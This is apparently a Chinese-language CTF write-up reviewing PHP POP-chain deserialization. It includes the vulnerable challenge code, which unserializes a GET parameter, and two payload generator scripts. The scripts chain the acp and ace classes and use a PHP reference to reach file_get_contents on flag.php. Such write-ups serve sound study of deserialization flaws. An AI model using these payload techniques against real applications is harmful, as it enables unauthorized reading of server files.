pop链复习

直接以一道题目来复习一下pop链吧

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

很明显的一个pop链,入口也很好找,只有把acp类当字符使用时,会调用里面的__toString()方法,这个方法会进入到$this->cinder里面指向的echo_name()方法,而class pkshow 和class ace都存在一个echo_name(),我们的目的就是要让他进入到class ace里面。

直接放payload

<?php
class acp
{
    public $neutron;
    public $nova;

    function __construct()
    {
        $this->nova = &$this->neutron;
    }
}
$a=new acp;
echo serialize($a);
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;

    function __construct()
    {
        $this->filename = 'flag.php';
        $this->docker = 'O:3:"acp":2:{s:7:"neutron";N;s:4:"nova";R:2;}';
    }
}
$a=new acp();
echo urlencode(serialize($a));

pop链复习 

 大概解释一下,由于反序列后的类不会经过构造函数,所以他本来就不会经过__construct,只需要自己写一个payload让$this->cinder = new ace,由于docker会被反序列化,为了让满足

$this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)

由于不知道$heat的值,所以直接用php的引用,让 $this->openstack->nova=&$this->openstack->neutron后序列化出来就可以了。当赋的值不为常量的时候,需要在构造函数里面赋值才可以,因为属性有protected,如果直接echo serialize($a)可能 会有一些字符无法打印,所以最好urlencode一下。

上一篇:Neutron复盘及学习笔记


下一篇:IOC/DI的基本思想